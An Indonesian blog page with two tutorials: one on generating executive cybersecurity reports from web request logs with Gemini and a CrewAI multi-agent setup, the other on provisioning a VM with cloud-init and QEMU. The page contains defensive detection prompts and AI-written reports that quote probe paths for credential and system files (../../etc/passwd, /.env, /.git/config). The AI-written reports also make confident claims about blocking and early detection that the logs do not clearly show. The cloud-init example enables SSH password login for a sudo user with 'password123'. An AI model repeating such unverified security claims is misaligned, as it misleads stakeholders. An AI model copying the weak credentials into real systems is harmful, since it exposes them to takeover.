Catatan Jocki | Blog

Memakai LLM Untuk Membuat Laporan CyberSecurity

Sat, 02 Aug 2025 00:00:00 GMT

Salah satu bagian yang paling membosankan di cybersecurity adalah membuat laporan bagi stakeholder secara periodik. Namun, berkat teknologi LLM, hal ini bukan lagi sebuah halangan. LLM memiliki kemampuan luar biasa dalam merangkai kata yang indah. Apalagi stakeholder pada umumnya bukan tipe pembaca paper penelitian yang mementingkan akurasi dan kronologi, banyak dari mereka akan menghargai laporan berdasarkan seberapa keren rangkaian kalimatnya (dan berapa banyak kata kunci yang dianggap penting) 🙂 Tipe pembaca seperti ini sangat tepat untuk dipasangkan dengan laporan yang dihasilkan oleh LLM. Pada tulisan ini, saya akan mencoba menggunakan LLM untuk menghasilkan laporan cybersecurity berdasarkan request logs web blog ini selama seminggu.

Sumber Data

Saya sudah men-export log ke file dengan nama requests_log.jsonl dalam format JSON Lines (dimana setiap baris berisi JSON) dengan isi seperti berikut ini:

requests_log.jsonl

{"insertId":"2025-07-28T18:59:2312578","jsonPayload":{"acceptEncoding":"br, gzip","customDomain":true,"@type":"type.googleapis.com\/google.firebase.hosting.v1beta1.logging.v1.Payload","contentType":"application\/xml","remoteIpCountry":"US","billable":true,"hostname":"jocki.me","remoteIpCity":"columbus","contentEncoding":"br"},"httpRequest":{"requestMethod":"GET","requestUrl":"https:\/\/jocki.me\/sitemap-index.xml","status":200,"responseSize":"627","userAgent":"Mozilla\/5.0 AppleWebKit\/537.36 (KHTML, like Gecko; compatible; ClaudeBot\/1.0; +claudebot@anthropic.com)","remoteIp":"216.73.216.68","cacheHit":true,"latency":"0.000001s","protocol":"https"},"resource":{"type":"firebase_domain"},"timestamp":1753729157000,"logName":"firebasehosting.googleapis.com%2Fwebrequests","receiveTimestamp":"2025-07-28T19:08:00.320650558Z"}
{"insertId":"2025-07-28T19:14:2472870","jsonPayload":{"contentType":"application\/xml","remoteIpCity":"phoenix","billable":true,"contentEncoding":"br","customDomain":true,"hostname":"jocki.me","remoteIpCountry":"US","acceptEncoding":"br, gzip","@type":"type.googleapis.com\/google.firebase.hosting.v1beta1.logging.v1.Payload"},"httpRequest":{"requestMethod":"GET","requestUrl":"https:\/\/jocki.me\/sitemap-index.xml","status":200,"responseSize":"632","userAgent":"Mozilla\/5.0 AppleWebKit\/537.36 (KHTML, like Gecko; compatible; GPTBot\/1.2; +https:\/\/openai.com\/gptbot)","remoteIp":"20.171.207.158","cacheHit":true,"latency":"0.000001s","protocol":"https"},"resource":{"type":"firebase_domain"},"timestamp":1753730089000,"logName":"firebasehosting.googleapis.com%2Fwebrequests","receiveTimestamp":"2025-07-28T19:22:44.508272213Z"}
...

Salah satu langkah awal yang perlu saya lakukan adalah hanya menyertakan property yang diperlukan saja. Selain karena setiap LLM memiliki batas input context, dengan menyertakan input yang relevan, hasil akhir yang diperoleh akan semakin akurat. Untuk mengurangi jumlah token yang dipakai, saya juga akan mengubah format JSON (dengan nested properties-nya) menjadi kolom dalam bentuk CSV. Untuk itu, saya akan menggunakan kode program Python yang menggunakan Pandas di notebook seperti berikut ini:

import pandas as pd

df = pd.read_json('data/requests_log.jsonl', lines=True)
df = pd.json_normalize(df.to_dict('records'))
df = df[['receiveTimestamp', 'jsonPayload.remoteIpCountry',
    'jsonPayload.remoteIpCity', 'httpRequest.requestMethod',
    'httpRequest.requestUrl', 'httpRequest.status',
    'httpRequest.responseSize', 'httpRequest.userAgent',
    'httpRequest.remoteIp', 'httpRequest.referer']]
df.rename(columns=lambda c: c.rsplit('.',1)[-1], inplace=True)
df.to_csv('data/requests_log.csv', index=False)
df

Pada kode program di atas, saya menggunakan fitur pd.json_normalize() dari Pandas yang sangat bermanfaat untuk mengubah nested properties di JSON menjadi sebuah kolom tersendiri. Sebagai contoh, jsonPayload adalah sebuah objek dengan property seperti {"remoteIpCountry": "...", "remoteIpCity": "..."}. json_normalize() akan mengubah objek jsonPayload menjadi beberapa kolom berbeda seperti jsonPayload.remoteIpCountry, jsonPayload.remoteIpCity dan sebagainya. Ini memungkinkan data JSON tersebut untuk di-export ke dalam bentuk CSV.

Setelah memilih beberapa kolom yang dibutuhkan, saya menggunakan df.rename() dengan menyertakan lambda untuk menghapus prefix seperti jsonPayload dan httpRequest sehingga nama kolom menjadi lebih singkat. Setelah itu, saya menggunakan df.to_csv() untuk menghasilkan sebuah file CSV yang akan saya pakai di proses selanjutnya.

Single Agent

Cara yang paling cepat untuk menghasilkan laporan cybersecurity adalah bertanya langsung pada LLM dalam satu prompt tunggal. Sebagai contoh, saya akan meng-upload file requests_logs.csv yang diperoleh pada langkah sebelumnya ke Gemini dan menggunakan prompt berikut ini pada Gemini 2.5 Pro:

You are a Cybersecurity Analyst. Your task is to analyze the attached GCP (Google Cloud Platform) HTTP request log file which contains data for the past week.

Based on your analysis, generate a comprehensive Weekly Cybersecurity Report.

The report should identify and summarize potential security threats and anomalous activities. Pay close attention to the following areas:

1. OWASP Top 10 Analysis: scan for request patterns that indicate common web application attacks.
2. Traffic & IP Analysis: analyze incoming traffic to identify suspicious sources and behaviors:
   * Malicious IP Addresses: Identify source IPs with a high volume of requests generating 4xx or 5xx error codes. Flag any IPs known for scanning or malicious activity.
   * Potential DDoS/Brute-Force Activity: Detect unusual spikes in traffic volume from a single IP or a distributed set of IPs over a short time frame. Note the peak requests per second/minute.
   * Geographic Hotspots: List the top 5 countries originating the most suspicious or denied requests.
3. Request & URL Analysis

Examine the requested URLs and user agents for anomalies:
* Suspicious URLs: Identify requests containing directory traversal patterns (../, ..%2F), enumeration attempts, or unusually long/obfuscated query strings.
* Anomalous User-Agents: Flag requests from outdated browsers or known malicious/bot user-agents (e.g., sqlmap, nmap).
* HTTP Status Code Summary: Provide a summary of significant response codes, focusing on the count and meaning of 400, 401, 403, 404, and 5xx errors.

Your final report must be written in clear, simple language suitable for a non-technical audience, such as business executives and managers.

The goal of the report is to answer three main questions for leadership:
* Are we safe? (What was our overall security posture?)
* What happened? (What kinds of threats did we see?)
* What should we do? (What are the recommended next steps to reduce risk?)

Ini adalah hasil yang saya peroleh:

Subject: Weekly Cybersecurity Report: July 24 - July 30, 2025

To: Executive Leadership & Management
From: Cybersecurity Analysis Team
Date: July 31, 2025

Hello Team,

This email provides a summary of our web security posture for the week of July 24
- July 30, 2025, based on an analysis of our server logs.

EXECUTIVE SUMMARY

Are we safe? (Overall Security Posture)
Yes. Our systems remained secure and operational. We successfully deflected a high
volume of automated scanning and probing. No breaches or successful attacks were
identified.

What happened? (Threat Summary)
Our web server was the target of continuous, automated "door-knocking" by malicious
bots. These scanners searched for common vulnerabilities in software like WordPress
and for exposed configuration files. All attempts failed.

What should we do? (Key Recommendations)
We recommend implementing a Web Application Firewall (WAF) to block malicious
traffic and an automated IP blocking system to shut down scanners proactively.

DETAILED FINDINGS

1. Types of Attacks We Saw (OWASP Top 10 Analysis)

* Attackers used automated tools to scan for common weaknesses. All attempts
  were unsuccessful.
* Security Misconfiguration: Scans for files associated with WordPress and
  Joomla (e.g., /xmlrpc.php, /wp-admin/).
* Broken Access Control: Attempts to access sensitive files like /.git/config,
  /.env, and system user files (../../etc/passwd).

2. Threat Origins (Traffic & IP Analysis)

The malicious traffic was automated and globally distributed.
* Malicious IP Addresses: We identified several IPs from France (185.177.72.205)
  and Japan (74.176.198.35) conducting aggressive scanning.
* Geographic Hotspots: The top 5 countries originating suspicious requests were:
  - France
  - Japan
  - United States
  - Ireland
  - Ukraine

3. Attack Methods (Request & URL Analysis)

The requests confirm the automated nature of the attacks.
* Suspicious URLs: We logged over 150 requests with clear attack patterns, like
  directory traversal (../).
* Anomalous User-Agents: Some requests came from scanning tools, not normal browsers.
* Server Response Codes: The high number of "404 (Not Found)" errors (79 instances)
  for these malicious requests confirms they were unsuccessful. We saw no other
  significant server or access errors.

RECOMMENDATIONS & NEXT STEPS

To enhance our security posture, we recommend the following actions:
1. Implement a Web Application Firewall (WAF): A WAF would act as a filter to block
   most of these scans before they reach our server, improving security and
   performance.
2. Deploy an Intrusion Prevention System (e.g., Fail2Ban): This software can
   automatically block IP addresses that show malicious intent, shutting down
   persistent scanners.
3. Continue Vigilant Monitoring: We will continue our weekly monitoring to detect
   new threats and ensure our defenses remain effective.

Please let us know if you have any questions.

Best regards,

The Cybersecurity Analysis Team

Terlihat bahwa hasil di atas cukup masuk akal. Berkat pengetahuan umum cybersecurity-nya, Gemini berhasil mendeteksi akses URL yang mencurigakan seperti /xmlrpc.php, /wp-admin/, ../ dan sebagainya. Selain itu, Gemini juga melakukan agregasi IP dengan baik, bahkan ia menggunakan nama negara seperti France dan Japan di laporan padahal data saya hanya berisi kode negara seperti FR dan JP. Bukan hanya itu, Gemini juga memberikan rekomendasi yang masuk akal (walaupun tidak relevan untuk teknologi yang saya pakai). Saya yakin stakeholder akan cukup senang membaca laporan ini.

Multi Agent

Pada kasus yang lebih realistis, laporan cybersecurity tidak hanya berdasarkan WAF (perimeter security) dan HTTP request (application security), namun juga harus mempertimbangkan log dari IDS (network security), audit log dari Google Workspace dan security posture di cloud platform (cloud security), dan sebagainya. Ada kemungkinan besar seluruh data ini tidak muat di sebuah prompt tunggal. Selain itu, bila seluruh log dari berbagai sumber yang berbeda ini dipakai bersamaan, LLM bisa saja kehilangan fokus. Secara teori, menggunakan beberapa agent berbeda seperti application security agent, network security agent, cloud security agent dan sebagainya yang saling berkolaborasi (agentic) akan menghasilkan sebuah laporan yang lebih berkualitas dan akurat.

Sebagai latihan, saya akan membuat kode program Python yang menggunakan CrewAI untuk membuat laporan cybersecurity dengan menggunakan multi-agent. Setelah membuat sebuah proyek CrewAI baru, saya akan mulai dengan membuat agent seperti berikut ini:

appsec_enginer adalah agent yang mewakili security engineer dengan spesialisasi di web. Agent ini akan mendeteksi pola yang mencurigakan di requests log yang saya berikan.
threat_intel_analyst adalah analyst dengan spesialisasi di network security yang berpengalaman mendeteksi pola serangan dari IP mencurigakan seperti DDoS, scanner bots, dan sebagainya.
manager adalah agent yang akan menulis laporan cybersecurity.

Selain itu, untuk melakukan pengaturan temperature di CrewAI, saya perlu membuat definisi LLM baru. Sebagai contoh, saya membuat sebuah LLM dengan nama gemini_pro yang menggunakan model gemini/gemini-2.5-pro dengan nilai temperature berupa 0.3:

crew.py

@CrewBase
class CybersecurityReport:

    agents: List[BaseAgent]
    tasks: List[Task]

    @llm
    def gemini_pro(self):
        return LLM(
            model="gemini/gemini-2.5-pro",
            temperature=0.3,
        )
    ...

appsec_engineer

Pada agent appsec_engineer, saya menggunakan definisi seperti berikut ini:

config/agents.yaml

appsec_engineer:
  role: Application security engineer specialized in web security
  goal: >
    Analyze Google Cloud logs to detect potential application-level and
    infrastructure-level security threats in accordance with industry standards
    such as OWASP Top 10 and cloud security best practices.
  backstory: >
    A seasoned application security expert with deep expertise in Google Cloud
    operations, threat detection, and log analysis.  Specializes in identifying
    advanced attack patterns, anomalies, and behaviors indicative of security
    incidents or malicious activity.
  llm: gemini_pro
  allow_delegation: True

Pada kode program, saya akan menggunakan konfigurasi di atas seperti pada contoh kode program berikut ini:

crew.py

@agent
def appsec_engineer(self) -> Agent:
    csv_source = CSVKnowledgeSource(file_paths='requests_log.csv')
    return Agent(
        config=self.agents_config['appsec_engineer'],
        knowledge_sources=[csv_source],
        respect_context_window=True,
        verbose=True,
    )

CrewAI memiliki cara mudah untuk memberikan knowledge kepada agent dalam bentuk file. Saya hanya perlu meletakkan file tersebut ke sebuah folder dengan nama knowledge. Sebagai contoh, saya sudah meletakkan file requests_log.csv yang saya buat sebagai sumber data ke folder ini. Saya hanya perlu mendefinisikan CSVKnowledgeSource(file_paths='requests_logs.csv') di kode program dan mengasosiasikannya ke agent lewat konfigurasi knowledge_sources.

threat_intel_analyst

Khusus untuk agent ini, saya akan mencari setiap IP unik yang ada di requests_log.csv dan menambahkan informasi dari threat intelligence platform untuk setiap IP yang ada. Idealnya, saya dapat membuat sebuah tool di CrewAI sehingga agent dapat memanggil threat intelligence platform seperti CriminalIP, VirusTotal, AbuseIPDB, dan sebagainya setiap kali akan menganalisa alamat IP. Namun, cara ini tidak praktis tanpa budget besar karena versi gratis dari platform tersebut memiliki batasan jumlah pemanggilan setiap menit dan setiap hari.

Sebagai alternatif dari membuat tool, saya dapat melakukan preprocessing yang memanggil threat intelligence platform yang bisa dilakukan dalam batasan limit yang tersedia. Sebagai contoh, saya akan menggunakan AbuseIPDB seperti pada kode program di notebook berikut ini:

import pandas as pd
import requests


def get_abuseipdb_info(ip):
    response = requests.request(method='GET', url='https://api.abuseipdb.com/api/v2/check', headers={
        'Accept': 'application/json',
        'Key': ABUSEIPDB_API_KEY,
    }, params={
        'ipAddress': ip,
    })
    return response.text


df = pd.read_csv('data/requests_log.csv')
df = df.groupby('remoteIp', as_index=False).size()
df['abuse_ipdb_result'] = df['remoteIp'].apply(get_abuseipdb_info)
df.to_csv('data/ip_with_threat_intel.csv', index=False)
df

Pada kode program di atas, saya menggunakan df.groupby() dari Pandas untuk melakukan agregasi berdasarkan kolom remoteIp dan membuat kolom baru size yang berisi jumlah baris yang mengandung IP tersebut. Selain itu, saya menambahkan kolom baru dengan nama abuse_ipdb_result yang berisi hasil pemanggilan /check di AbuseIPDB untuk setiap IP di baris tersebut. Saya kemudian menyimpan hasilnya sebagai file CSV baru dengan nama ip_with_threat_intel.csv. File ini perlu saya pindahkan ke folder knowledge di proyek CrewAI.

Saya kemudian memberikan definisi untuk agents threat_intel_analyst seperti berikut ini:

config/agents.yaml

threat_intel_analyst:
  role: Threat Intelligence Analyst specialized in network security
  goal: >
    Analyze IP address data enriched with threat intelligence information
    to identify suspicious or malicious behavior, and provide recommendations
    for response actions such as blocking or monitoring.
  backstory: >
    A cyber threat analyst with deep experience in threat intelligence platforms,
    abuse detection, and IP reputation scoring. Skilled in correlating behavior
    patterns across logs and public threat intelligence databases to identify
    potential attack infrastructure and advise on mitigation strategies.
  llm: gemini_pro
  allow_delegation: False

Untuk menggunakan konfigurasi di atas, saya membuat kode program seperti berikut ini:

crew.py

@agent
def threat_intel_analyst(self) -> Agent:
    csv_source = CSVKnowledgeSource(file_paths='ip_with_threat_intel.csv')
    return Agent(
        config=self.agents_config['threat_intel_analyst'],
        knowledge_sources=[csv_source],
        respect_context_window=True,
        verbose=True,
    )

manager

Pada agent manager, saya menggunakan definisi seperti berikut ini:

config/agents.yaml

manager:
  role: Cybersecurity manager that reports to stakeholder
  goal: >
    Create a clear, concise, and stakeholder-friendly weekly security report
    summarizing security incidents and threats identified by internal
    security analysts.
  backstory: >
    An experienced cybersecurity communicator and technical writer who specializes
    in translating complex threat data and cloud security incidents into actionable,
    plain-language summaries for executives, compliance teams, and business
    stakeholders. Skilled in prioritizing clarity, impact, and actionable insight.
  llm: gemini_pro
  allow_delegation: True
  inject_date: True
  reasoning: True
  max_reasoning_attempts: 5

Pada konfigurasi di atas, saya menggunakan inject_date sehingga agent memiliki informasi periode laporan yang hendak dibuat. Selain itu, saya memberikan nilai True pada reasoning sehingga agent manager akan membuat rencana eksekusi dan melakukan evaluasi untuk setiap eksekusi yang direncanakan. Saya menggunakan max_reasoning_attempts untuk membatasi reasoning sehingga LLM tidak terus menerus melakukan evaluasi bila tidak menemukan rencana eksekusi yang ideal.

Saya kemudian menggunakan konfigurasi ini pada kode program seperti berikut ini:

crew.py

@agent
def manager(self) -> Agent:
    return Agent(
        config=self.agents_config['manager'],
        verbose=True,
    )

Berikutnya, saya akan membuat satu-satunya task yang akan diberikan pada agent manager dengan konfigurasi seperti berikut ini:

config/tasks.yaml

cybersecurity_report_task:
  description: >
    Generate a comprehensive but non-technical cybersecurity report based on findings
    from two other agents:
    * Application Security Engineer - Focused on security incidents based on request
      logs (from GCP) like suspicious request URLs, suspicious user agents,
      web scanning, etc.
    * Threat Intelligence Analyst - Provides threat intel based on AbuseIPDB on all
      IP addresses found in request logs.

    The goal of the report is to answer three main questions for leadership:
    * Are we safe? (What was our overall security posture?)
    * What happened? (What kinds of threats did we see?)
    * What should we do? (What are the recommended next steps to reduce risk?)
  expected_output: >
    A complete, well-formatted markdown document for a cybersecurity report.  The report
    must be written in clear, simple language suitable for a non-technical audience,
    such as business executives and managers.
  agent: manager
  markdown: True
  output_file: reports/cybersecurity_report.md

Pada konfigurasi task di atas, saya menambahkan output_file yang berisi laporan cybersecurity yang saya inginkan. Nilai True pada markdown menunjukkan bahwa laporan ini akan menggunakan format markdown.

Perhatikan bahwa saya hanya mendefinisikan satu task saja padahal ada 3 agent yang berbeda. Hal ini karena saya akan menggunakan modus kolaborasi. Saya sudah menambahkan allow_delegation dengan nilai True pada definisi agent sehingga agent bisa mendelegasikan tugas ke agent lainnya bila dirasa perlu. Saya tidak mendefinikasikan context untuk mengatur pola komunikasi tetapi saya membiarkan LLM untuk menentukan sendiri bagaimana mereka mendelegasikan tugasnya.

Eksekusi

Sebagai langkah terakhir, saya mendefinikan crew seperti berikut ini:

crew.py

@crew
def crew(self) -> Crew:
    return Crew(
        agents=self.agents,
        tasks=self.tasks,
        process=Process.sequential,
        memory=True,
        embedder={
            'provider': 'google',
            'config': {
                'model': 'gemini-embedding-001',
                'api_key': os.getenv('GEMINI_API_KEY')
            }
        },
        verbose=True,
    )

Pada kode program di atas, saya menambahkan seluruh agent dan task yang sudah saya buat ke sebuah Crew. Selain itu, dengan menambahkan memory=True, Crew ini juga akan memiliki memory (short-term, long-term dan entity) yang disimpan dalam bentuk file ChromaDB (database vector berbasis file sama seperti SQLite di database relasional).

Sekarang, saya siap untuk menjalankan program dengan memberikan perintah seperti berikut ini:

Terminal window

$ crewai run

Setelah proses selesai, saya akan menemukan file cybersecurity_report.md dengan isi seperti berikut ini:

reports/cybersecurity_report.md

# Weekly Cybersecurity Report
**For Period:** July 26, 2025 – August 1, 2025
**Status:** Green | All threats mitigated. No incidents or breaches.

---

### **Executive Summary**

This report summarizes the key security events of the past week.

*   **Are we safe?**
    Yes. Our security systems performed as expected, automatically identifying
    and blocking all threats this week. We did not experience any security breaches,
    data loss, or service interruptions. The activity we observed was low-sophistication
    and was effectively neutralized by our existing defenses.

*   **What happened?**
    Our applications faced a steady stream of automated scanning from across the globe.
    Think of this as automated tools "jiggling the handles" on our digital doors and windows.
    These scans were not targeted specifically at us but were part of broad internet-wide
    campaigns searching for common, easy-to-exploit vulnerabilities (like outdated WordPress
    plugins) which our systems do not have.

*   **What should we do?**
    The primary recommendation is to continue strengthening our proactive defenses.
    We will immediately block the malicious IP addresses identified this week to
    prevent future attempts from the same sources. This action will further reduce
    our exposure to this common "background noise" of the internet.

---

### **This Week's Threat Landscape**

We categorize this week's activity into two main themes:

**1. Automated Vulnerability Scanning**
The vast majority of threats were from automated "bots" scanning for well-known software weaknesses.

*   **What it is:** These bots rapidly check thousands of websites for specific
    vulnerabilities, like outdated plugins or misconfigured servers. We saw numerous
    scans for WordPress and PHP vulnerabilities.
*   **Business Impact:** Since our applications are not built with this vulnerable
    software, these scans failed harmlessly. This activity is common and confirms
    our technology choices help reduce our risk profile. The most aggressive scanner
    was an IP from Japan (`130.33.61.3`) with a known history of malicious activity,
    which our systems successfully blocked.

**2. Pre-Attack Reconnaissance**
A small number of actors performed reconnaissance, which is the first step an attacker takes
to gather information before a more focused attack.

*   **What it is:** This is like a burglar "casing a building" before a break-in.
    We detected one actor (`34.134.233.195`) using a tool to identify our systems,
    and another (`103.177.224.46`) that attempted to access a configuration file
    where sensitive information is commonly stored.
*   **Business Impact:** All reconnaissance attempts were blocked. Importantly,
    our systems identified the actor from India (`103.177.224.46`) as malicious
    *before* it was publicly reported, demonstrating that our threat detection
    is proactive and effective at identifying emerging threats.

---

### **Actionable Recommendations**

To continue improving our security posture, we recommend the following actions:

| Recommendation | Reason | Expected Outcome |
| :--- | :--- | :--- |
| **1. Block Malicious Actors** | The IP addresses identified this week have proven to be malicious. Blocking them is a simple and effective hygiene measure. | **Reduced Risk.** Prevents these specific actors from conducting further scans or launching attacks against our systems. |
| **2. Continue Proactive Monitoring** | Our current security tools and logging were highly effective at detecting and stopping these threats. | **Validated Defenses.** Ensures our security controls are working as intended and provides valuable intelligence on the threats we face. |
| **3. Share Threat Intelligence** | We will report the newly identified malicious actor (`103.177.224.46`) to global threat intelligence platforms. | **Strengthened Collective Security.** Contributes to the broader security community, helping others protect themselves and improving the data we receive in return. |

Bagaimana hasil laporan ini dibandingkan dengan versi Single Agent? Secara garis besar, tujuan yang hendak disampaikan tidak berbeda jauh. Terlihat bahwa versi Multi Agent ini membutuhkan biaya yang lebih besar namun tidak memberikan perbedaan yang signifikan pada kasus yang sederhana. Namun, versi Multi Agent memiliki scalability yang lebih tinggi karena saya bisa menambahkan beberbagai agent lain secara mudah untuk meningkatkan kualitas laporan. Sebagai contoh, dengan adanya penambahkan informasi threat intel, laporan baru ini men-highlight IP 34.134.233.195 yang abuseConfidenceScore-nya masih 0 (belum pernah ada indikasi malicious sebelumnya).

Salah satu karakteristik LLM adalah setiap kali saya menjalankan laporan, saya bisa saja menjumpai IP lain di-highlight (biar adil, kadang laporan dari manusia juga sama acaknya tergantung pada mood penulisnya!). Walaupun demikian, laporan ini sepertinya sudah lebih dari cukup untuk mencapai tujuan utamanya: sesuatu yang indah untuk dibaca oleh stakeholder 🙂

Memakai cloud-init Untuk Menyiapkan Virtual Machine

Sun, 27 Jul 2025 00:00:00 GMT

cloud-init adalah sebuah standar untuk melakukan operasi umum pada saat sebuah VM saat ia pertama kali dibuat seperti mengatur hostname, menambahkan SSH keys, menjalankan startup script dan sebagainya. Dengan cloud-init, system administrator hanya perlu menambahkan konfigurasi di platform yang digunakan (yang disebut sebagai data source) dan saat dijalankan, VM sudah siap dipakai tanpa harus dikonfigurasi secara manual. Untuk menggunakan cloud-init, sistem operasi yang dipakai oleh VM harus mendukungnya. Sistem operasi populer yang dipakai di VM seperti Ubuntu, Debian, Container-Optimized OS sudah mendukung cloud-init seperti yang terlihat di https://cloudinit.readthedocs.io/en/latest/reference/availability.html. Selain sistem operasi, platform yang dipakai juga harus mendukung cloud-init (sehingga system administrator dapat menuliskan konfigurasi di platform tersebut). Bukan hanya cloud populer seperti AWS, Azure dan GCP, hypervisor seperti VMWare dan Proxmox juga mendukung cloud-init.

Pada saat VM dijalankan dan cloud-init mulai bekerja, ia akan membaca konfigurasi dari data source yang dipakai di platform bersangkutan. Daftar data source yang didukung dapat dilihat di https://cloudinit.readthedocs.io/en/latest/reference/datasources.html. cloud-init akan membaca data source secara otomatis tanpa perlu konfigurasi dari system administrator. Sebagai contoh, bila VM adalah sebuah instance Compute Engine di GCP, cloud-init akan membaca konfigurasi dari GCP metadata server yang ada di http://meta-data.google.internal (169.254.169.254). Bila ini adalah pertama kali-nya VM dijalankan, cloud-init akan menjalankan konfigurasi yang hanya perlu dilakukan sekali saja saat VM dibuat. Bila cloud-init mengenali VM ini sudah pernah dijalankan sebelumnya, ia hanya akan menjalankan konfigurasi untuk setiap kali VM di-restart bila ada.

Bagian dari konfigurasi cloud-init yang paling penting bagi system administrator adalah cloud config.

Cloud Config

Cloud config adalah sebuah YAML yang berisi konfigurasi VM yang diinginkan. Baris pertama dari cloud config harus berupa #cloud-config. Sisanya adalah konfigurasi module yang contoh pengunaannya secara lengkap dapat dilihat di https://cloudinit.readthedocs.io/en/latest/reference/modules.html.

Sebagai latihan, pada artikel ini, saya akan membuat konfigurasi yang menjalankan nginx dalam container Docker. Container ini harus selalu tetap berjalan walaupun VM di-restart. Agar lebih aman, saya juga akan menjalankan container ini sebagai user biasa (bukan root) sehingga saya perlu menggunakan image nginxinc/nginx-unprivileged.

Ini adalah isi cloud config yang akan saya pakai:

#cloud-config

ssh_pwauth: true

users:
- name: jocki
  uid: 1000
  groups: [sudo]
  shell: /bin/bash
  plain_text_passwd: password123
  lock_passwd: false
- name: web
  uid: 1001
  shell: /sbin/nologin
  system: true
  no_create_home: true

snap:
  commands:
    0: snap install docker


write_files:
- path: /etc/systemd/system/web.service
  permissions: '0644'
  owner: root
  content: |
    [Unit]
    Description=My Web Server

    [Service]
    ExecStartPre=-/snap/bin/docker stop web
    ExecStartPre=-/snap/bin/docker rm web
    ExecStart=/snap/bin/docker run --rm -u 1001 -p 8080:8080 --name=web nginxinc/nginx-unprivileged
    Restart=always

    [Install]
    WantedBy=multi-user.target

runcmd:
- systemctl daemon-reload
- systemctl enable web.service
- systemctl start web.service

Pada konfigurasi di atas, saya menggunakan nilai true di ssh_pwauth supaya pengguna VM dapat login dengan menggunakan password. Saya kemudian mendefinisikan pengguna di sistem operasi dengan menggunakan users:

jocki adalah user yang memiliki password berupa password123. Untuk membolehkan user ini login secara interaktif dengan menggunakan password, saya perlu mengubah nilai lock_passwd menjadi false. Selain itu, saya juga menambahkan user ini ke group sudo sehingga ia boleh memberikan perintah sudo.
web adalah daemon user yang akan saya pakai untuk menjalankan container Docker. Tujuannya adalah meningkatkan keamanan karena container tidak jalan sebagai root. Karena berupa daemon user, pengguna ini tidak akan bisa login ke sistem operasi dan juga tidak memiliki penyimpanan di /home.

Penggunaan users di atas juga akan menghilangkan user default di VM. Sebagai contoh, cloud image Ubuntu secara default memiliki user ubuntu yang dapat dipakai untuk login. Karena saya tidak menambahkan ubuntu pada definisi users di atas, pada saat VM dibuat, tidak akan ada lagi user ubuntu. Bila saya menginginkan user default tetap ada, saya bisa menambahkan default pada daftar pengguna di atas.

Sebelum bisa menggunakan perintah docker, saya perlu melakukan instalasi Docker terlebih dahulu. Hal ini karena sistem operasi Ubuntu yang saya tidak memiliki Docker secara bawaan. Cara yang paling mudah untuk menambahkan Docker di Ubuntu adalah dengan menggunakan snap untuk menjalankan perintah snap install docker. Setelah itu, saya akan menggunakan systemd untuk menjalankan container nginx. Untuk itu, saya membuat sebuah service dengan nama web.service yang menjalankan perintah docker run. Service ini memiliki Restart=always sehingga systemd akan selalu berusaha menjalankan ulang service ini bila ia berhenti.

QEMU

Cara paling mudah untuk menguji cloud-init adalah dengan menggunakan QEMU dengan data source NoCloud. Untuk menggunakan NoCloud, saya perlu membuat sebuah web server yang memiliki informasi user-data dan meta-data.

Untuk itu, saya akan membuat sebuah file baru dengan nama user-data yang berisi cloud config yang saya buat di atas.

Selain itu, saya juga akan membuat sebuah file baru dengan nama meta-data yang isinya seperti berikut ini:

meta-data

instance-id: my-testing-vm

Struktur direktori yang saya pakai sekarang akan terlihat seperti berikut ini:

cloud-init akan mengakses kedua file ini melalui HTTP. Agar bisa diakses, saya membuat web server yang menyediakan kedua file di atas dengan menggunakan modul http.server dari Python dengan perintah seperti berikut ini:

Terminal window

$ cd cloud-init
$ python3 -m http.server

Selanjutnya, saya perlu memilih sistem operasi yang akan dijalankan di VM. Karena akan menggunakan Ubuntu, saya akan menggunakan cloud image Noble di https://cloud-images.ubuntu.com/noble/current/noble-server-cloudimg-amd64.img. Cloud image ini dapat langsung dipakai sebagai harddisk utama di VM (tanpa perlu instalasi seperti di ISO).

Sekarang, saya siap untuk membuat VM di QEMU dengan menggunakan perintah berikut ini:

Terminal window

$ qemu-system-x86_64 -accel kvm -net nic -net user -m 512 -nographic \
    -hda noble-server-cloudimg-amd64.img \
    -smbios type=1,serial=ds='nocloud;s=http://10.0.2.2:8000/'

Bagian paling penting dari perintah di atas adalah -smbios. Perintah ini menambahkan informasi yang kemudian akan dibaca oleh cloud-init sehingga ia tahu bahwa data source yang dipakai adalah NoCloud dan terletak di http://10.0.2.2:8000. IP 10.0.2.2 adalah IP yang dipakai dari dalam VM QEMU untuk mengakses host yang menjalankan web server (yang berisi cloud config).

Setelah VM selesai dibuat, saya dapat login ke VM dengan menggunakan user jocki dan password password123. Saya juga dapat memberikan perintah berikut ini untuk memastikan bahwa container nginx sudah berjalan secara otomatis:

Terminal window

$ curl http://localhost:8080

### Output:
### <!DOCTYPE html>
### <html>
### <head>
### <title>Welcome to nginx!</title>
### ...

Biarpun VM di-restart (dengan dimatikan lewat Ctrl+A diikuti dengan X dan dijalankan kembali dengan perintah qemu), saya dapat memastikan bahwa nginx tetap dapat diakses. Namun kali ini, proses boot akan lebih cepat karena cloud-init tidak lagi melakukan instalasi Docker dan mempersiapkan pengguna. Semua itu hanya dilakukan sekali saja pada saat VM pertama kali dijalankan.

Salah satu bagian yang paling membingungkan saat pertama kali menulis cloud config adalah perubahan pada cloud config yang tidak diterapkan. Sebagai contoh, bila saya mengubah nilai plain_text_passwd menjadi password_baru, setelah men-restart VM , TIDAK akan ada yang berubah. Saya tetap harus login dengan password password123.

Hal ini karena VM sudah pernah dijalankan sebelumnya dan sudah melewati konfigurasi pertama kali sehingga cloud-init tidak akan melakukan perubahan lagi. Saya perlu menggunakan image noble-server-cloudimg-amd64.img yang masih baru sama seperti pertama kali di-download.

Cara lain yang lebih sederhana adalah menambahkan -snapshot pada saat menjalankan VM sehingga perubahan pada disk akan diabaikan sehingga setiap kali VM dijalankan, status-nya akan selalu pertama kali dijalankan:

Terminal window

$ qemu-system-x86_64 -accel kvm -net nic -net user -m 512 -nographic \
    -hda noble-server-cloudimg-amd64.img \
    -smbios type=1,serial=ds='nocloud;s=http://10.0.2.2:8000/'
    -snapshot

Proxmox VE

Proxmox VE mendukung cloud-init dengan menyediakan sebuah halaman di web UI-nya khusus untuk melakukan pengaturan lewat cloud-init pada VM. Untuk saat ini, pengaturan tersebut masih terbatas ke pengaturan seperti nama user dan password-nya, SSH keys, DNS dan sejenisnya. Tidak semua module yang tersedia di cloud-init dapat dipakai secara langsung pada halaman ini.

Selain itu, halaman ini pada awalnya tidak dapat dipergunakan seperti yang terlihat pada gambar berikut ini:

